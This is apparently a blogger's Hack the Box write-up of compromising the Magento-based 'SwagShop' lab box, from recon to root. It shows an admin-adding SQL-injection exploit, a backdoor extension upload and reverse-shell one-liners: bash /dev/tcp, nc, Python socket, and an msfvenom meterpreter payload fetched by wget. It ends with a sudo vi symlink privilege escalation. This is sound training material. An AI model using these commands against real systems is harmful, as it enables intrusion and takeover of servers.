So it’s that time again, let’s see how far we can get with a meant to be straight forward Hack the Box box!
First up, we run our nmap scan
nmap -sC -sV -O -oA nmap/swagshop 10.10.10.140
We get 2 results back:
We have SSH and HTTP open. Looking at the apache code (2.4.18) this version was released on 3-March-2016. This is strange and might straight away give us an indication of where we need to look.
The HTTP result is also odd as it shows an 503 error. Let’s jump in and see what’s on the webpage.
Heading over there, we do in fact get an error page:
We straight away get 2 really useful bits of information, the fact this is running Magento, which is an Adobe eCommerce product. Also that the copyright is 2014, I wonder if that means we have a really old version of this too.
Let’s run a dirb on this to see if we have any more results
dirb http://10.10.10.140 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
I use the 2.3 medium as standard. I think for HTB the small would probably be fine, but I have time, so why not run the more in depth scan.
(Dirb does then run through each folder recursively which is really useful, but also comes back with a lot of info, so here is the high level results!)
Having a look through the results, there are a lot of things set up for the shop, pictures of the products, logos and gifs. The /shell/ directory looks interesting, but we get this result for each of the scripts:
Which you know, makes sense. Running through some more options, we try /downloader/ and bingo:
Here we get the version number 1.9.0.0 and the copyright year of 2014 ties in with what we have already seen. So let’s check the changelog and any exploits for this version.
I’ve found this blog: https://support.alertlogic.com/hc/en-us/articles/115005913586-01-03-18-Magento-1-8-1-9-Connect-Manager-PHP-Upload-
This describes an exploit via arbitrary PHP upload. I’ve run into a problem though:
A caveat for this exploit requires an attacker to obtain administrator credentials (users with “all” privileges also work) to the Magento instance.
So we need to go credential diving in all the other resources available on this webpage! Before we jump into all that, lets see if there are default creds we can use.
I had a google round and one bit of advice was to look at the downloader/connect.cfg page. So I did. I don’t think it’s useful right now, but I’m putting it here as it might be later:
::ConnectConfig::v::1.0::a:12:{s:7:"php_ini";s:0:"";s:8:"protocol";s:4:"http";s:15:"preferred_state";s:6:"stable";s:27:"use_custom_permissions_mode";b:0;s:15:"global_dir_mode";i:511;s:16:"global_file_mode";i:438;s:15:"downloader_path";s:10:"downloader";s:12:"magento_root";s:27:"/var/www/html/downloader/..";s:16:"root_channel_uri";s:39:"connect20.magentocommerce.com/community";s:12:"root_channel";s:9:"community";s:13:"remote_config";s:0:"";s:9:"sync_pear";b:0;}
Knowing where the application is installed is always useful in case we need to folder traversal later on: /var/www/html/downloader/
Unfortunately it looks like you create the creds during the install, so no easy default creds for us.
Let’s go hunting instead, and as a plan B, we will try Burp Intruder as a brute-forcer. But this seems overkill when we don’t even have a username yet!
There are so many files!!
While getting bored of going through files, my mind wandered and I wondered if there is any virtual host routing going on. So I added swagshop.htb to my hosts file and went to swagshop.htb
We have any actual site. I wondered if this was virtual host routing, so went back to just the IP. Same result. The box must have been reset and the website has become unfucked. Thanks random other user on the free server! 🙂
So, rather than digging through all that, let’s have a poke around the actual website!
There is an account part, let’s see if we can register and if this will give additional information:
Ok, we can register and log in. A quick check if this login can be used on the connect manager results in a denied. Not a surprise, but I like easy wins (one day i’ll get one)!
While we are at the log in idea. Heading back to the main site, we have a valid user, if we get the password wrong for a valid user, we get an error of:
If we try with an account that’s not going to be there (e.g spaceman@space.com), we get the same result. So there is no credential leakage this way.
From the poking around we did earlier (http://swagshop.htb/app/etc/config.xml), we know that in the background there is an SQL database,
<connection><host>localhost</host><username/><password/><dbname>magento</dbname><model>mysql4</model><initStatements>SET NAMES utf8</initStatements><type>pdo_mysql</type><active>0</active></connection></default_setup>
We could therefore see if there is some SQLInjection available. Looking at the search box, we do a search of hello and the url that comes back is:
http://10.10.10.140/index.php/catalogsearch/result/?q=hello
This is querying the database behind the system. So let’s have a go.
sqlmap -u "http://10.10.10.140/index.php/catalogsearch/result/?q=hello"
The results are in and it doesn’t look like this is vulnerable to SQL Injection.
Let’s log in and have a poke around this dashboard. Knowing what we already found, I’m looking for any sort of username and password that would have admin privileges. Doesn’t appear to be anything of use in the dashboard.
Ok, finally we potentially have a small break. There is the About Us page:
Could John Doe be a user. Potentially.
Let’s go back to the config.xml page we found earlier as in there is a filesystem:
Oddly, a lot of these don’t seem to work.
Another page that we did stumble across later on was /app/etc/local.xml. This gives a username and password for an SQL instance on localhost by the look of it:
Let’s keep those creds for later!
Another interesting part of the site, is within the index.php. There are more directories deeper, running another dirb:
dirb http://10.10.10.140/index.php -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
We get a few results, but the most interesting was admin.
So with that knowledge and now 2 log in opportunities. What can we do with them?
I headed back to google and wondered if I’d missed something obvious, searching for Magento exploits I came across this:
https://www.ambionics.io/blog/magento-sqli
Maybe it is SQLInjection! Let’s run through this and see what we can find!
I decided to run sqlmap again, with the same as before. A line I missed previously was:
[18:31:43] [INFO] heuristic (XSS) test shows that GET parameter 'q' might be vulnerable to cross-site scripting (XSS) attacks
So we might have some XSS on this.
While all my tools were re-running, I had another poke about the website. This time I found myself in /var/cache, this appears to have cached all the SQL tables:
Rather than going through all of them one by one. I’m going to download the whole lot and do some grepping on them.
wget -r http://10.10.10.140/var/cache/
Now these are all downloaded, we can do a grep for “admin” “user” “password” and see what we get.
I didn’t find anything overly useful in there. A lot of information, but nothing else.
While the box was resetting I did a bit more googling, and there looks like there might be a RCE available:
https://www.exploit-db.com/exploits/39838
So the pre-requisites of this are:
to get a valid guestCartId
// * add an item in your cart
// * go to checkout
// * fill the shipping address stuff and look at the POST request to /rest/default/V1/guest-carts/<guestCartId>/shipping-information
// (* in the response check the payment method it may vary from checkmo)
Out of the items available, a t-shirt is definitely the most rad, so let’s buy one of those.
Adding that to basket and proceeding to checkout. Let’s checkout as Guest (rather than registering)
Filing in all the shipping address. Turn on Burp intercept and click Continue.
Go through the next stages and at the final Place Order button we get a post request.
So we have our valid guest cart ID, I think:
0tNdHjhtQ3VXmBdF
Let’s try using that with the exploit. The exploit downloads as a PHP, so that’s a bit odd.
I’m not too sure what to do with this, so I went back to google and found a metasploit module.
I’m not a huge fan of going straight to msf, especially as it can’t really be used in OSCP, however. I need a win right now. (Querier has killed me completely)
So, lets open msfconsole
use exploit/multi/http/magento_unserialize
A bit of googling and the issue is summed up nicely:
"Magento is prone to a remote code-execution vulnerability because it fails to properly sanitize user supplied input. Specifically, this issue occurs because it fails to properly restrict a user to set malicious '_data' property of 'payment' instance through 'method' variable of 'getData()' function. An unauthenticated attacker can exploit this issue to execute arbitrary PHP code on the server through REST or SOAP APIs."s
So I set all the options, which were just RHOSTS and TARGETURI
I got an error in return:
So we go and look over there:
A quick look shows that it’s not my IP address. So let’s try not on the index.php targetURI. Also no good.
After a box reset, I tried this again.
Still no good. Ok this isn’t the route we wanted to do anyway!
I keep coming back round to the fact there are 2 login pages there should be creds somewhere!
As a change of tact, from trying to get RCE or a reverse shell straight off the bat. I googled if there was a way to add an extra admin account.
So, there is an exploit called ShopLifter. What this done is uses some very clever SQL injection to add a new admin user into the system. I took the code from this github page.
So what this does, is adds in a new admin account. Reading through the script it adds a user with the username ypwq & password 123.
Wondering if this is on the right lines, I went to the 2 log in pages and tried the user without running the script.
Bingo, I was able to log in onto both management areas. I assume this is from other people leaving a trail, rather than poor misconfiguration.
Anyway, we want to do the exploit and see if it works ourselves.
Looking at the script, we can edit it slightly to use any username and password, so I make a couple of changes
Now, we have 2 places to attack, but the script mentions index.php/admin so we just need to give it the web address.
python add_admin.py 10.10.10.140
The script has come back and said it has worked. You’ll notice the URL is wrong though. Let’s give it a go anyway.
First over to /index.php/admin
We are in! Huzzah!
I wonder if the new account works on the downloader page too.
We are! So we now have 2 main areas to look around in.
The downloader immediately pops out with a Direct package file upload. Could it be as easy as putting up a php reverse shell? We take the reverse shell script from pentestmonkey and change our IP address.
Get a listener set up on the port
nc -nvlp 9006
Uploading the .php file.
This result was not unexpected but it’s always worth a try.
So, lets do some googling, is there any file inclusion or other exploits we have access now we are an admin user. After not too long we find this exploit: https://www.exploit-db.com/exploits/35052
This tells us that the mass importer allows uploads of PHP files without any sanity checks. This seems good. All we need to go is zip the file (so it looks like a legit plugin) and run the script to extract the payload. Then we can visit the site via magmi/plugings and our plugin should be there.
Before we do it, let’s make sure magmi and plugins exist. Heading to:
http://10.10.10.140/index.php/magmi/web/magmi.php http://10.10.10.140/index.php/admin/magmi/web/magmi.php http://10.10.10.140/magmi/web/magmi.php http://10.10.10.140/downloader/magmi/web/magmi.php
All bring back 404 errors. So I’m not sure if this is an extension we can use and due to it being on a VPN, we can’t use our admin creds to install additional plugins.
However, we did find this exploit earlier. The caveat was we needed admin credentials, which we do now have!
Another interesting thing to note, is this box goes down so often. It looks to get put into some sort of maintance mode all the frikkin time, looking at the connect manager there is a default ticked button at the top:
So this would be another clue that we need to do a direct package file upload, so we need to follow the exploit above.
First up, what do we want in our zip file? Ideally a php reverse shell script.
Then we also need an xml file, which magento will read. So let’s get those sorted. First, for the xml file, let’s try using the most basic one available. Let’s try hello world!
nano helloworld.xml
Paste in:
<?xml version="1.0" encoding="UTF-8"?> <text> <para>hello world</para> </text>
Save and exit. We then need our php-reverse shell, which we got earlier from pentestmonkey. We then need to zip the files together
zip yekki.zip helloworld.xml yekki.php
We now have a zip file. Let’s untick the box above, so others can still use the box. Then upload our zip and see what happens.
Again, we got the same error as above. Time to change tack.
Looking again through the Admin Panel, I notice under CMS there is a Manage Page option. I wonder if we can just make a new page.
There is an option “Add New Page”. Let’s add this called yekki.php
Under the Page Info, we add the Title of Yekki and URL key of yekki.php
In the content, we copy in the php reverse shell code. Changing the ip address and port to match our system and nc listener.
Under Design, we change everything to basic and try to keep it all as simple as possible. Click Save and Continue Exit.
Let’s see if we can see the page. Heading over to:
http://10.10.10.140/index.php/yekki.php
The page is there, but the reverse shell doesn’t start. Instead the page loads, sad times!
I was really hoping by uploading and going there, it would work. Never mind! Let’s keep digging!
After a bit more googling, I find this github: https://github.com/astorm/MagentoTarToConnect
This can convert our php file into the connect upload format. So let’s try this out with our php reverse shell file.
Running this with my php file, got me a shell. It was however local, before I went near the application. I’m not too sure this is the way forward.
I had a bit of a break and then came back and found some god-awful youtube video’s. You know the ones, typing on a terminal and terrible background music. Well this one: https://www.youtube.com/watch?v=BbVk67f0OCE
Interestingly had a link to the filesystem extension. I’d seen this in my travels, but assumed as I didn’t have web access, couldn’t get the extension.
So I downloaded it, off I went to /downloader to upload the new extension.
After I click upload, I get an error:
CONNECT ERROR: Unsupported resource type
Bugger. A quick check shows that it has not appeared where it should have.
——–The Next Day——–
So this had bugged me for a day, so I went back on the research and found a full download: https://www.magecloud.net/marketplace/extension/file-system/
I had to register, so used a temporary e-mail from https://temp-mail.org/en/
Downloading the Filesystem tgz file was easy. Heading over to the /downloader/ admin portal, we untick the box at the top so we don’t put the box into maintenance mode and select the file to upload.
Clicking Upload takes me to the box at the bottom, some green text which again states
CONNECT ERROR: Package file is invalid Invalid version, should be like: x.x.x Invalid stability Invalid channel URL Empty authors section Empty package contents section
Excellent, well that’s a bundle of joy isn’t it!
Let’s instead head back to our favourite search engine and see if there are any other extensions we can add on. A bit more searching and we come across another github page: https://github.com/lavalamp-/LavaMagentoBD
A quick and dirty php shell, I’d be happy for that to work. Let’s have a go!
Heading over to /downloader/ and logging in with our new creds, let’s try the upload. The green box of doom, this time:
Looks like a success! So the readme then says we need to navigate to: /index.php/lavalamp/index
The page loads! It’s empty, but it loads! I take that as a win as the shell must have uploaded otherwise we would have got a 404! Let’s look into the code and see what it’s doing, do we need a listener on a port or is this meant to be an interactive shell.
The instructions say: “The shell is a simple command shell that will take $_POST[‘c’], pass it to shell_exec, and echo back the contents.”
So where would we put in that POST, maybe as a request in Burp? Let’s try that as a post request.
In Burp, we intercept the request and send it over to repeater. Changing the request to a POST request, at the bottom we try:
c='whoami'
Success!! We are running as www-data!
So let’s head over to highon.coffee and get a reverse shell 1 liner.
bash -i >& /dev/tcp/10.10.14.33/9005 0>&1
Also set up a listner
nc -nvlp 9005
And… the site loads and we do not get a reverse shell. So maybe it’s not a bash shell. Is there an easy way to find out? We can’t cat /etc/passwd which would be my normal route, as cat doesn’t appear to work.
As it’s done via php, maybe we need a php reverse shell 1 liner, rather than bash.
/usr/local/bin/wget http://10.10.14.33:9001/php-reverse-shell.php -O /var/tmp/shell.php 2>&1
Let’s try this and we will host our normal php reverse shell using python simpleHTTPServer
No good sadly.
Let’s keep trying, as we need a reverse shell here
/bin/sh | nc 10.10.14.33 9005
Still no good, however the issue I have been having, is I had single quotes around each expression, which was breaking things. So a quick look without those and we have cat back.
cat /home/haris/user.txt
Boom!
I’m suprised that www-data who is the user we are on has access to read that file, but I don’t mind. That’s a win!
So, now we have a bit more confidence, let’s try and get a reverse shell or a password for ssh!
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.33",9005));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
Again, not working.
Having a poke around instead we look at /etc/, sudoers is a file there and it looks like we might have sudo on vi:
So let’s try
sudo vi /root/root.txt
Nothing comes back. Same with sudo vim /root/root.txt
I guess because vi is an interactive editor, it’s not something that would come back via the command line. Again, I feel we need a reverse shell or to be able to log in via ssh.
Let’s change tactic and see if we can find a password for the account, then we would be able to ssh in which would make life a lot easier. Trying a search for password
c=grep -iR password .
Gives us a load of results, the one that look most interesting are:
./install.php: * --admin_username admin --admin_password 123123 \ ./install.php: * --db_pass // required, Database User Password ./install.php: * --admin_password // required, admin user password ./lib/PEAR/Net/URL.php: * Password ./lib/PEAR/Net/URL.php: var $password;
So let’s take a look at the install script and see if there is a hardcoded password.
All we have is this:
* –admin_lastname Owner –admin_firstname Store –admin_email “admin@example.com” \
* –admin_username admin –admin_password 123123 \
This is commented out and a password of 123123 doesn’t seem likely as that would be very easy to brute which I don’t think would be the way for a CTF.
So, I went back and spent some more time trying to get a shell, I thought i’d try using metasploit, so I created a elf payload:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.14.33 LPORT=9002 -f elf > shell.elf
I put this up onto my webserver
python -m SimpleHTTPServer 9001
Downloaded it onto the box, via my command execuation in burp
c=wget http://10.10.14.33:9001/shell.elf
Started a metasploit listener
use exploit/multi/handler set payload linux/x86/meterpreter/reverse_tcp
Set up the options for host and port. Ran the exploit on the box and boom, we have a reverse shell! That took way longer than it should have and I can’t explain why my normal bash shells kept dying straight away, but anyway, onwards and upwards. Let’s go root flag hunting!
Having a hunt around, we find the SQL database password found in:
/var/www/html/app/etc/local.xml <host><![CDATA[localhost]]></host> <username><![CDATA[root]]></username> <password><![CDATA[fMVWh7bDHpgZkyfqQXreTjU9]]></password> <dbname><![CDATA[swagshop]]></dbname>
Let’s see if there is an SSH password in the SQL database. We get an access denied when trying to access the SQL database.
I’ve now run LinEnum.sh and I know that we have sudo abilities on /usr/bin/vi so let’s re-run through the basics:
sudo /usr/bin/vi /root/root.txt
We run into an error:
sudo: no tty present and no askpass program specified
So a bit of googling mostly tells us to change the sudoers file, unfortunately we can’t do that as only have read and execute on the file.
I think this is due to the fact we are in a rubbish restricted shell, we have earlier tried out python method to upgrade our shell, that didn’t work but let’s try it with python3:
python3 -c 'import pty;pty.spawn("/bin/bash")'
Hooray, we now have bash shell. Let’s try this again
sudo vi /root/root.txt
We get prompted for a password, odd.
So let’s go back to what the sudoers file actually says:
www-data ALL=NOPASSWD:/usr/bin/vi /var/www/html/*
Does this meant that we can only use sudo vi for files that are within the /var/www/html directory?
Let’s try, first we need to create a symbolic link (we have done this before on some previous boxes)
ln -s /root/root.txt hello.txt
Our symbolic link is created:
Now we can try again
sudo /usr/bin/vi /var/www/html/hello.txt
Success! We get the root flag, and the details to go to the shop! Excellent!
This was a very annoying box, with the website going down constantly and I had to upgrade to VIP. If I hadn’t of done that, I would have given up a fair while ago!
From there, the magento add-ons were frustrating to try and find but I am happy that I understood the exploit and how to do the RCE through Burp. Then I have also learnt a new skill about sudo and limiting that down to only certain folders, I can see that being really useful for the future!!
Now, to go and buy some swag!!